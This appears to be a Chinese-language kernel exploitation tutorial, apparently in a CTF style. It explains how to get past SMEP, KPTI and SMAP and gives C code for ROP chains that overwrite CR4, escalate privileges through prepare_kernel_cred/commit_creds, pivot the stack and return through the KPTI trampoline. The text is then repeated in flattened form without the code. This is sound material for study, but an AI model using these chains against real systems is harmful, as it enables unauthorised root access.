Linux Kernel Pwn Part 2
字数 1270 2025-08-24 07:48:22

Linux Kernel Pwn 绕过保护机制详解

1. 引言

本文详细讲解如何绕过Linux内核中的各种保护机制,包括SMEP、KPTI和SMAP。这些保护机制旨在防止内核漏洞被利用,但通过精心构造的利用技术,攻击者仍然可以绕过这些保护。

2. SMEP绕过技术

2.1 SMEP概述

SMEP (Supervisor Mode Execution Protection)保护机制在kernel-mode下将userspace地址标记为non-executable,类似于用户态的NX保护。

2.2 尝试修改CR4寄存器

SMEP由CR4寄存器的第20位控制,可以通过修改CR4来禁用SMEP:

void exploit() {
    unsigned long pop_rdi_ret = 0xffffffff81006370;
    unsigned long native_write_cr4 = 0xffffffff814443e0;
    unsigned long payload[0x100 / 8];
    unsigned long offset = 0x80 / 8;
    
    payload[offset++] = cookie;
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;
    payload[offset++] = (unsigned long)pop_rdi_ret;
    payload[offset++] = 0x6f0;  // CR4值,第20位清零
    payload[offset++] = (unsigned long)native_write_cr4;
    payload[offset++] = (unsigned long)escalate_privs;
    
    write(global_fd, payload, sizeof(payload));
}

注意:这种方法在实际中可能会失败,因为内核可能对CR4的修改有保护机制。

2.3 使用ROP链绕过SMEP

当直接修改CR4不可行时,可以构造ROP链来提升权限:

  1. 准备prepare_kernel_cred(0)调用
  2. 调用commit_creds(),使用上一步的返回值作为参数
  3. 执行swapgs; ret
  4. 设置栈和寄存器状态
  5. 执行iretq返回用户态
void exploit_smep() {
    user_rip = (unsigned long)get_root_shell;
    unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
    unsigned long commit_creds = 0xffffffff814c6410;
    unsigned long pop_rdi_ret = 0xffffffff81006370;
    unsigned long pop_rdx_ret = 0xffffffff81007616;
    unsigned long cmp_rdx_jne_ret = 0xffffffff81c0f8b2;
    unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4;
    unsigned long mov_rdi_rax_pop2_ret = 0xffffffff8166ff23;
    unsigned long swapgs_pop1_ret = 0xffffffff8100a55f;
    unsigned long iretq = 0xffffffff8100c0d9;
    
    unsigned long payload[60];
    unsigned long offset = 0x80 / 8;
    
    // ROP链构造
    payload[offset++] = cookie;
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;
    payload[offset++] = (unsigned long)pop_rdi_ret;
    payload[offset++] = 0x00;
    payload[offset++] = (unsigned long)prepare_kernel_cred;
    payload[offset++] = (unsigned long)pop_rdx_ret;
    payload[offset++] = 8;
    payload[offset++] = (unsigned long)cmp_rdx_jne_pop2_ret;
    payload[offset++] = 0;
    payload[offset++] = 0;
    payload[offset++] = (unsigned long)mov_rdi_rax_pop2_ret;
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;
    payload[offset++] = (unsigned long)commit_creds;
    payload[offset++] = (unsigned long)swapgs_pop1_ret;
    payload[offset++] = 0x0;
    payload[offset++] = (unsigned long)iretq;
    payload[offset++] = user_rip;
    payload[offset++] = user_cs;
    payload[offset++] = user_rflags;
    payload[offset++] = user_sp;
    payload[offset++] = user_ss;
    
    write(global_fd, payload, sizeof(payload));
}

2.4 栈转移技术(Stack Pivoting)

当栈溢出长度不足以构造完整ROP链时,可以使用栈转移技术:

void stack_pivot() {
    // 映射fake stack
    unsigned long *fake_stack = mmap((void*)(0x5b000000 - 0x1000), 0x2000, 
                                   PROT_READ | PROT_WRITE | PROT_EXEC,
                                   MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
    
    unsigned offset = 0x1000 / 8;
    fake_stack[0] = 0xdead;  // 防止Double Fault
    fake_stack[offset++] = 0x0;  // r12
    fake_stack[offset++] = 0x0;  // rbp
    // 构造ROP链...
    
    // 覆盖返回地址
    unsigned long payload[60];
    unsigned long off = 0x80 / 8;
    payload[off++] = cookie;
    payload[off++] = 0x0;
    payload[off++] = 0x0;
    payload[off++] = 0x0;
    payload[off++] = 0xffffffff8196f56a;  // mov esp, 0x5b000000; pop r12; pop rbp; ret
    
    write(global_fd, payload, sizeof(payload));
}

注意事项

  1. 映射两个页面,从0x5b000000 - 0x1000开始
  2. 第一个页面需要写入一个值以防止Double Fault

3. KPTI绕过技术

3.1 KPTI概述

KPTI (Kernel Page-table Isolation)机制防止Meltdown攻击,在用户态没有类似机制。开启KPTI后,用户态页表只有部分内核映射。

3.2 绕过KPTI的方法

3.2.1 使用信号处理器

简单方法是为SIGSEGV注册信号处理程序:

signal(SIGSEGV, get_root_shell);

3.2.2 KPTI Trampoline

更可靠的方法是使用内核中交换页表的代码片段:

// 查找trampoline函数地址
$ cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode

该函数的关键部分:

  1. 恢复寄存器
  2. 交换GS寄存器
  3. 交换页表
  4. 返回用户态

利用该函数的代码片段可以完成swapgs、交换页表和iretq等操作:

payload[offset++] = commit_creds;
payload[offset++] = kpti_trampoline;  // swapgs_restore_regs_and_return_to_usermode+22
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = user_rip;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;

4. SMAP绕过技术

4.1 SMAP概述

SMAP (Supervisor Mode Access Protection)在kernel-mode下将userspace地址空间标记为不可读、不可写。

4.2 绕过方法

绕过SMAP的策略与绕过SMEP类似,可以使用ROP链技术(结合绕过KPTI的策略):

  1. 所有操作都在内核地址空间完成
  2. 使用内核中的ROP gadget
  3. 避免直接访问用户空间内存

5. 总结

保护机制 绕过技术
SMEP 修改CR4寄存器或使用内核ROP链
KPTI 信号处理器或KPTI trampoline
SMAP 内核ROP链,避免访问用户空间内存

通过组合这些技术,可以构建可靠的漏洞利用链,即使在内核启用了这些保护机制的情况下。

Linux Kernel Pwn 绕过保护机制详解 1. 引言 本文详细讲解如何绕过Linux内核中的各种保护机制,包括SMEP、KPTI和SMAP。这些保护机制旨在防止内核漏洞被利用,但通过精心构造的利用技术,攻击者仍然可以绕过这些保护。 2. SMEP绕过技术 2.1 SMEP概述 SMEP (Supervisor Mode Execution Protection)保护机制在kernel-mode下将userspace地址标记为non-executable,类似于用户态的NX保护。 2.2 尝试修改CR4寄存器 SMEP由CR4寄存器的第20位控制,可以通过修改CR4来禁用SMEP: 注意 :这种方法在实际中可能会失败,因为内核可能对CR4的修改有保护机制。 2.3 使用ROP链绕过SMEP 当直接修改CR4不可行时,可以构造ROP链来提升权限: 准备 prepare_kernel_cred(0) 调用 调用 commit_creds() ,使用上一步的返回值作为参数 执行 swapgs; ret 设置栈和寄存器状态 执行 iretq 返回用户态 2.4 栈转移技术(Stack Pivoting) 当栈溢出长度不足以构造完整ROP链时,可以使用栈转移技术: 注意事项 : 映射两个页面,从 0x5b000000 - 0x1000 开始 第一个页面需要写入一个值以防止Double Fault 3. KPTI绕过技术 3.1 KPTI概述 KPTI (Kernel Page-table Isolation)机制防止Meltdown攻击,在用户态没有类似机制。开启KPTI后,用户态页表只有部分内核映射。 3.2 绕过KPTI的方法 3.2.1 使用信号处理器 简单方法是为SIGSEGV注册信号处理程序: 3.2.2 KPTI Trampoline 更可靠的方法是使用内核中交换页表的代码片段: 该函数的关键部分: 恢复寄存器 交换GS寄存器 交换页表 返回用户态 利用该函数的代码片段可以完成 swapgs 、交换页表和 iretq 等操作: 4. SMAP绕过技术 4.1 SMAP概述 SMAP (Supervisor Mode Access Protection)在kernel-mode下将userspace地址空间标记为不可读、不可写。 4.2 绕过方法 绕过SMAP的策略与绕过SMEP类似,可以使用ROP链技术(结合绕过KPTI的策略): 所有操作都在内核地址空间完成 使用内核中的ROP gadget 避免直接访问用户空间内存 5. 总结 | 保护机制 | 绕过技术 | |---------|---------| | SMEP | 修改CR4寄存器或使用内核ROP链 | | KPTI | 信号处理器或KPTI trampoline | | SMAP | 内核ROP链,避免访问用户空间内存 | 通过组合这些技术,可以构建可靠的漏洞利用链,即使在内核启用了这些保护机制的情况下。